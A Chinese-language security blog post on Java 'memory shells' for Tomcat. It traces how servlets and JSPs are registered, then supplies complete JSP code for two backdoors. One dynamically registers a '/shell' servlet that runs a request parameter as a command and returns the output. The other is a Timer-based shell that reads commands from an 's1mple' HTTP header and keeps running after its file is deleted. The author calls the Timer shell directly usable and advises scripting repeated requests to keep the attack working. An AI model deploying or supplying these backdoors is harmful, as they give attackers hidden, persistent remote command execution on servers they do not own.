前言:
也是一个好久前的学习的课题了,今天来记述一波;后面有自己调试的timer内存马;可直接利用
;
正文:
内存马对于java来说还是比较的花式的,在php中可以直接通过while进行无限的循环从而拿到外部参数进行命令执行;那么类比一下;
新思路:
采用java计时任务进行内存马利用;简单的原理就是采用一个java.util.Timer实例化一个Timer对象;利用schedule函数开启一个TimerTask;也就是说创建了一个定时任务,每隔 1000 ms,就执行一次 java.util.TimerTask#run
方法里面的逻辑。也就是说在访问了jsp之后会开启一个计划任务,然后每1000ms就会执行一次我们的run方法里的代码;即使后续删除了这个jsp,但是因为计划任务已经是执行在内存中,所以也不会有影响,有点类似php中的直接while;来实际测试下;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% out.println("timer jsp shell"); java.util.Timer executeSchedule = new java.util.Timer(); executeSchedule.schedule(new java.util.TimerTask() { public void run() { try { Runtime.getRuntime().exec("open -a /System/Applications/Calculator.app"); } catch (IOException e) { e.printStackTrace(); } } }, 0, 10000); %>
|
每隔十秒就会弹一次计算器;
我们删除掉相关的jsp文件,看看情况;
可以看到已经删除了文件,但是Timer线程依然在进行,也会一直弹出计算器;
其实也都知道,jsp的本质就是servlet;那么就会存在一个新的问题,这种的木马算是servlet的那种内存马么;如果这么可以形成内存马的效果,那么可以进行外部参数可控么? 带着问题下面分析一下:jsp和servlet
分析Servlet生成
servlet的生命周期一共经历三个阶段:我的理解是(servlet先实例化然后调用init再初始化):在loadOnStratup默认为负数的情况下
1、在请求到来的时候通过init进行初始化阶段(只会调用一次)【loadOnStratup不为负数则tomcat启动的时候就会依次调用静态代码块、构造方法和init方法
进行最后的初始化,反之则需要在请求到来的时候才进行一系列的操作进行load】{一个请求到来的时候会先去判断内存中是否有相应的servelt对象,如果有则直接调用,所以servlet的存在是单例的形式存在,并不是线程安全的}
2、在之后调用service函数,传入ServletRequest对象经过servlet函数处理,按照请求方式去触发doGet(),doPost()方法,这些方法包括service方法都是运行的在多线程状态下; 每次请求都会servlet进行处理都会调用service方法;下图这个service方法是再封装的service的方法;
3、在tomcat正常关闭的时候进行调用destroy函数正常销毁;
一个正常的url进行解析的时候根据tomcat里mapper组件的映射关系,最后锁定到一个servlet;就会经过filter之后传入service函数中触发上述的第二步,实例化servlet之后对请求进行逻辑处理;
因为只是关注servlet的内存马问题,所以不必追溯太前,直接从针对于servlet注册的地方开始看;放眼全局,有一个tomcat的类很重要:ContextConfig;这个class负责tomcat中整个WEB应用的配置文件的解析工作;留意其中的一个敏感的方法;webConfig方法;
可以看到这个方法里会对应用下的配置文件作相应的解析;这个配置文件里设置的就是servlet以及filter之类的信息对应的路由;
在configureContext函数中对其xml文件进行读取;拿到其中的相关映射;
追进去看一下细致的逻辑,这个函数中已经知道是对filter以及servlet等一些配置做一些处理,并且进行映射;着重的看一下对servlet的处理;
看到这里是将相关的配置项进行映射放到了hashmap中;然后后续对其进行遍历处理;
遍历之后为每一个servlet进行createwrapper,然后遍历配置中的数据set到wrapper中;
然后将servletname也设置到wrapper中;具体看下图:
继续向下走,因为multipartdef为null;所以直接跳过一堆的代码逻辑,直接来到最后;
最后将wrapper给add到StandardWrapper对象中;
addChild之后在addServletMappingDecoded函数中完成了相关的映射;将url路径和servlet类进行相关映射
这个看起来更清晰明了
add完之后进入如下流程:
startInternal函数实现载入调用;我们跟一下流程看看;
经历一个for循环,检查其状态是否为start;否则调用start();
这里一直往下跟,最终进入如下流程:
追进去看一下:
可以看到拿到了四个封装好了的servlet wrapper;然后进入for循环,判断其loadOnStartup是否大于0,如果大于0,则将其add到list中;
然而StandardWrapper中默认为-1
1
| protected int loadOnStartup = -1;
|
然后while遍历list进行load加载:具体看下;
1
| protected volatile boolean singleThreadModel = false;
|
恰好singleThreadModel默认就为false;这里就需要控制instance不为null就行了,然后向上回溯到initServlet中完成初始化;回顾下instance的赋值点:
所以这里还需要调用Wrapper class下的setServlet函数进行赋值servlet;
在servlet的配置当中,<load-on-startup>1</load-on-startup>
的含义是:
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。
由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载
看完这个流程我们简单的整理一下逻辑,
1、StandardContext.createWrapper
2、setLoadOnStartup和setEnabled(视配置项是否为null来进行,如果为null则不进行,一般为null,差不多可忽略,但是setLoadOnStartup函数的调用不可忽略)
// 实际测试;第2步这个加不加都无所谓,不加只要请求相关的servlet_url就也会初始化,不过再次访问jsp文件会报错java.lang.IllegalArgumentException: 子名称[]不唯一;不过不影响内存马的植入;
3、setName(servlet.getServletName());//这里注意实际写的时候需要结合实际,servlet在此是servletDef对象;
4、setServletClass
5、setServlet
6、setAsyncSupported(视配置项是否为null来进行,一般为null,可忽略)
7、context.addChild(wrapper); (context为StandardContext)
8、addServletMappingDecoded进行url路由和servlet class的映射
按照这八步来,就可以通过反射去动态的注册一个Servlet;可以看到上述的context都为StandardContext;如果可以拿到StandardContext,那么就可进行Servlet的动态注册;jsp的本质也是servlet;所以直接从request里着手;
1 2 3 4 5 6 7 8 9
| ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
拿到servletContext之后可以看一下其继承关系;servletContext是一个接口;
这里可以利用多态直接强转化为applicationContext;
可以很清晰的看到,在ApplicationContext中直接可以通过反射拿到context属性就可直接拿到StandardContext对象;所以这也是为什么上面那段代码的缘由;
上面的分析只是注册servlet的过程,那么当实际调用的时候在请求经过mapper映射到servlet的时候,会调用service方法将ServletRequest和ServletResponse对象进行传入;实例化servlet进行处理请求;所以理解了这里思路就很简单了,service方法在每次请求的时候都会触发;所以思路有两种,
第一:将恶意的代码插入到doGet方法里,当请求到达的时候会触发doGet方法进行相关的触发;就可造成命令执行操作;
第二:直接重写service方法;在其中插入恶意的代码;其处理的对象为ServletRequest,里面封装了请求数据。HttpServlet是对请求数据进一步的封装而已;
所以知道了基本的思路和原理,直接写;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.IOException" %> <% ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
HttpServlet httpservlet = new HttpServlet(){
@Override public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { String str = request.getParameter("s1mple"); Process runtime = Runtime.getRuntime().exec(str); InputStream inputStream = runtime.getInputStream(); byte[] by = new byte[1024]; int content; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); while((content = inputStream.read(by))!=-1){ byteArrayOutputStream.write(by); }
byte[] by_data = byteArrayOutputStream.toByteArray(); String data = new String(by_data,by_data.length); response.setContentType("text/html"); PrintWriter printWriter = response.getWriter(); printWriter.println(data); } }; Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(httpservlet.getClass().getSimpleName()); wrapper.setServletClass(httpservlet.getClass().getName()); wrapper.setServlet(httpservlet); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell",httpservlet.getClass().getSimpleName()); %>
|
如此,一个servlet的内存马就已经写完,测试一下效果;
最开始访问下shell路由;显然无效果:
请求shell文件,然后再次访问;
发现已经注入;
之前说jsp其实本质上也是servlet;其实如果跟着上述的流程进行追踪,就会不难发现jsp和jspx后缀都会被映射到一个关键字“jsp”上;然而tomcat中默认配置解析jsp的类就是JspServlet;
接下来看下 JspServlet 的处理逻辑,总体来说分为三步:
1、JSP 引擎将 .jsp
文件翻译成一个 servlet 源代码;
2、将 servlet 源代码编译成 .class
文件;
3、加载并执行这个编译后的文件。
而这一整套流程,实际上就是 Tomcat 为 JSP 的处理单独建立了一套与普通 Servlet 类似的 Servlet/Context/Wrapper 的体系:
- org.apache.jasper.compiler.JspRuntimeContext
:JSP 引擎上下文
- org.apache.jasper.servlet.JspServletWrapper
:编译后 jsp 的封装类
可以看到JspRuntimeContext中存放了url路由和wraper的映射;
上面已经跟过了源码,大致的流程都差不多,这里跟一下:
JspServlet 类的 service 方法用来处理 JSP 请求:
看到这里先拿到jsp的访问路径jspUri,然后判断是否已经预编译,然后传入serviceJspFile函数进行后续的处理;跟进一下这个函数;
看到先从映射中get到相关的wrapper,如果没有就会去判断这个文件路径是否存在(文件是否还在不在),如果存在就创建一个wrapper然后add到rctxt也就是JspRuntimeContext中;如果不存在就会调用handleMissingResource函数进行html编码之后返回错误,然后调用 wrapper 的 service
方法处理,同时也 catch 了 FileNotFoundException 异常。
创建 JspServletWrapper 时,同时创建了 JspCompilationContext 类用于将 jsp 编译成 class 文件,用于后续加载。JspServletWrapper 的 service
方法在判断了一些标识位后,判断是否是首次访问,是否需要对 jsp 进行编译,如需要则会调用 JspCompilationContext#compile
方法来对 jsp 进行编译;
进入编译方法看一下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public void compile() throws JasperException, FileNotFoundException { this.createCompiler(); if (this.jspCompiler.isOutDated()) { if (this.isRemoved()) { throw new FileNotFoundException(this.jspUri); }
try { this.jspCompiler.removeGeneratedFiles(); this.jspLoader = null; this.jspCompiler.compile(); this.jsw.setReload(true); this.jsw.setCompilationException((JasperException)null); } catch (JasperException var3) { this.jsw.setCompilationException(var3); if (this.options.getDevelopment() && this.options.getRecompileOnFail()) { this.jsw.setLastModificationTest(-1L); } throw var3; } catch (FileNotFoundException var4) { throw var4; } catch (Exception var5) { JasperException je = new JasperException(Localizer.getMessage("jsp.error.unable.compile"), var5); this.jsw.setCompilationException(je); throw je; } } }
|
调用 getServlet()
获取访问的 jsp 生成的 servlet 类实例。后续会调用 servlet 实例的 service
方法。
在getServlet中会又判断了页面是否有修改,如果修改则需要进行 reload,会先调用 destroy 方法销毁之前的类实例,再进行重新加载。加载是使用了 InstanceManager 调用 org.apache.jasper.servlet.JasperLoader
来进行 loadClass。具体代码可看如下:
1 2 3 4
| public Object newInstance(String className, ClassLoader classLoader) throws IllegalAccessException, NamingException, InvocationTargetException, InstantiationException, ClassNotFoundException, IllegalArgumentException, NoSuchMethodException, SecurityException { Class<?> clazz = classLoader.loadClass(className); return this.newInstance(clazz.getConstructor().newInstance(), clazz); }
|
实例化完之后向后调用service方法:
进行触发;看一下:
1 2 3
| public final void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this._jspService(request, response); }
|
看到这里就已经很明显了;
那么基本理解了servlet和timer类型的内存马原理,那么两者是否一样呢;
答案是:肯定不同
首先来说jsp是servlet不错,但是这个timer在内存中驻留的原因和servlet内存马原理不同,timer驻留的原因是因为有一个计划任务,而servlet驻留的原因也很明白,是因为动态注册的servlet;一个是基于纯内存,一个是基于项目之上的内存;还是有区别的;
那么删除jsp之后还可执行是因为: Timer 创建的线程在任务没有自然执行完毕,或没有调用结束时,是不会被 GC 的。就类似php中的while的内存马一样;
那么最重要的一点,内存马如果无法实现回显,那么其实没有太大的作用,如果目标不出网,那么就无法很有效的利用;所以这里timer类型的是否可以回显?类比下php的,在while中直接拿到GET的传参然然后执行,那么这里是否也可呢?
答案:绝对可
类比一下php的,这里因为是jsp,所以也可直接从request中拿到Header中的固定参数;或者请求参数都可;
那么现在的问题就是如何拿到相关的参数呢?是否可以直接从request中拿到呢?其实不然,如果一旦我们后期删除了相关的shell.jsp文件,那么就不会在原本的逻辑中形成ServletRequest对象,所以这种方法自然不是很可行;那么现在的思路就是能否拿到原始的请求对象,直接利用反射去获得最原始的tomcat的请求对象;然后拿到对象之后获得其中的请求header;然后去拿到特定的header然后传入我们的恶意payload中;比如什么runtime这样的,其实也是可以的;
我经过了一些debug;发现有一些可用;
这个怎么来的,下面我详细的记述一下:
思路和一般的内存实现一样,先从线程出发,因为请求的处理肯定是由一些线程来处理的,所以既然可以反射,那么就可以考虑从线程角度反推;
给出我的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| try { Field field = null; Class clazz = Thread.currentThread().getThreadGroup().getClass(); while (clazz != Object.class) { try { field = clazz.getDeclaredField("threads"); break; } catch (NoSuchFieldException var5) { clazz = clazz.getSuperclass(); } } if (field == null) { throw new NoSuchFieldException("threads"); } else { field.setAccessible(true); Thread[] threads = (Thread[]) field.get(Thread.currentThread().getThreadGroup()); System.out.println(threads);
|
可以看到已经拿到了很多线程;
继续向上回溯拿到Runnable对象;拿到这个对象的原因是想要拿到NioEndpoint;了解tomcat的基本架构的应该都知道,在Connector中由三部分组成,其中一部分就是Endpoint;负责处理流;
经过追溯类,发现thread中的target属性可以考虑使用;使用此属性可以拿到Runnable;
1 2 3 4 5 6 7 8
| for (Thread thread : threads) { try { Class clas = thread.getClass(); Field thread_field = clas.getDeclaredField("target"); thread_field.setAccessible(true); Object obj = thread_field.get(thread); if (obj instanceof Runnable) {
|
因为这里需要去遍历出符合条件的,所以我加了一个循环,直到拿到我们需要的目标为止;接着分析,我们最后的目标肯定是拿到请求的对象;那么拿到NioEndpoint之后又该如何走?可以一直向上追,发现这个类的父类;AbstractEndpoint这个class其中实现了一个接口;这个接口就是我们需要的;看如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| Field field1 = obj.getClass().getDeclaredField("this$0"); field1.setAccessible(true); Object obj1 = field1.get(obj); Field field2=null; clazz = obj1.getClass(); while(clazz != Object.class) { if (clazz != Object.class) { try { field2 = clazz.getDeclaredField("handler"); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } } if (field2 == null) { throw new NoSuchFieldException("handler"); } else{ field2.setAccessible(true);
}
|
这个接口的实现类是ConnectionHandler(看上图),已经很明显了;在Tomca中Endpoint主要用来接收网络请求,处理则由ConnectionHandler来执行.ConnectionHandler主要作用是调用对应协议的Processor来处理请求;所以这也就是为什么上面的代码要拿到handler的原因了;就是为了拿到这个class对象;在这个对象里可以看上图我标出来了,有一个global属性,是RequestGroupInfo对象;
这个对象很让人注意,调试进去看一下;
global属性的对象拿到之后看一下内部的属性;
其内部的processors属性;看到其中内部结构为RequestGroupInfo的ArrayList;所以需要一个for循环来处理一下内部的结构,拿到req就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| Object obj2 = field2.get(obj1); Field field3 = obj2.getClass().getDeclaredField("global"); field3.setAccessible(true); Object obj3 = field3.get(obj2);
Field field4 = obj3.getClass().getDeclaredField("processors"); field3.setAccessible(true); Object obj4 = field4.get(obj3); System.out.println(obj4); } } catch (IllegalAccessException e){ continue; } catch (NoSuchFieldException e) { e.printStackTrace(); } } } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); }
|
走到了这里,其实可操作空间已经很大了;看一下Request这个类下的方法;
getHeader方法可以直接拿到请求头中的字段,那么到这里,利用点也就很清晰了;拿到header中的固定的字段;然后传入命令语句中;其实到这里基本上整体的流程就已经结束;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| for(Object proccess:obj4){
Class cal = proccess.getClass(); Field req = cal.getDeclaredField("req"); req.setAccessible(true); Object target = req.get(proccess); try { Method method = target.getClass().getMethod("getHeader", String.class); String cmd = (String) method.invoke(target,"s1mple"); Runtime.getRuntime().exec(cmd); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } }
|
前面分析了那么多,最后放出我调试好的Timer内存马;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%@ page import="java.io.IOException" %> <%@ page import="java.util.List" %> <%@ page import="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Hacker by s1mple</title> </head> <body> <%! public String returnString(List process) throws NoSuchFieldException, IllegalAccessException { String cms = null; for (Object proccess : process) { Class cal = proccess.getClass(); Field req = cal.getDeclaredField("req"); req.setAccessible(true); Object target = req.get(proccess); try { Method method = target.getClass().getMethod("getHeader", String.class); String cmd = (String) method.invoke(target, "s1mple"); cms = cmd; break; } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } return cms; } %> <%! public List returnList(Thread[] threads){ List obj_final = null; for (Thread thread : threads) { try { Class clas = thread.getClass(); Field thread_field = clas.getDeclaredField("target"); thread_field.setAccessible(true); Object obj = thread_field.get(thread); if (obj instanceof Runnable) { Field field1 = obj.getClass().getDeclaredField("this$0"); field1.setAccessible(true); Object obj1 = field1.get(obj); Field field2 = null; Class clazz = obj1.getClass(); while (clazz != Object.class) { if (clazz != Object.class) { try { field2 = clazz.getDeclaredField("handler"); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } } if (field2 == null) { continue; } else { field2.setAccessible(true); } Object obj2 = field2.get(obj1); Field field3 = obj2.getClass().getDeclaredField("global"); field3.setAccessible(true); Object obj3 = field3.get(obj2); Field field4 = obj3.getClass().getDeclaredField("processors"); field4.setAccessible(true); List obj4 = (List) field4.get(obj3); obj_final = obj4; break; } } catch (IllegalAccessException e) { continue; } catch (NoSuchFieldException e) { continue; } } return obj_final; } %> <%! public Thread[] returnthread(){ Thread[] result = new Thread[0]; try { Field field = null; Class clazz = Thread.currentThread().getThreadGroup().getClass(); while (clazz != Object.class) { try { field = clazz.getDeclaredField("threads"); break; } catch (NoSuchFieldException var5) { clazz = clazz.getSuperclass(); } } if (field == null) { throw new NoSuchFieldException("threads"); } else { field.setAccessible(true); Thread[] threads = (Thread[]) field.get(Thread.currentThread().getThreadGroup()); result = threads; } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } return result; } %> <% java.util.Timer executeSchedule = new java.util.Timer(); executeSchedule.schedule(new java.util.TimerTask() { @Override public void run() { Thread[] s1mple = returnthread(); List result_list = returnList(s1mple); String cmd = null; try { cmd = returnString(result_list); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } try { if(cmd!=null) { Runtime.getRuntime().exec(cmd); } } catch (IOException e) { e.printStackTrace(); } } }, 0, 100); %>
|
至于为什么这么来,我最开始写的时候是可以命令执行,但是无法植入内存,相当于是一个jsp木马了;我当时看了下报错;发现是Timer中发生了错误;触发了异常,导致Timer无法植入内存;这里有个小坑点,如果Timer的run里的代码发生错误,将导致此线程无法开启;这个错误也不难理解,原因就是我使用的for循环或者while循环的时候有时候会触发错误;所以为了避免这个错误的发生,我直接将相关的处理流程封装起来,避免错误在run里;所以就可保证run中无报错,但是如果亲手调试会发现最后还会爆出一个空指针错误,原因就是最开始请求的时候Runtime那个点是没参数的,所以如此就会导致空指针错误从而无法植入,但貌似第二次请求就算加上参数也会爆空指针;所以我直接在runtime前判断是否为null;这样就不会报错;最后可植入内存;
测试效果如下:
植入内存
要保持攻击的有效性,可以写个循环脚本去不间断循环请求;否则手动有时候会无法完美碰撞;当然如果手速可以大可不必写个脚本;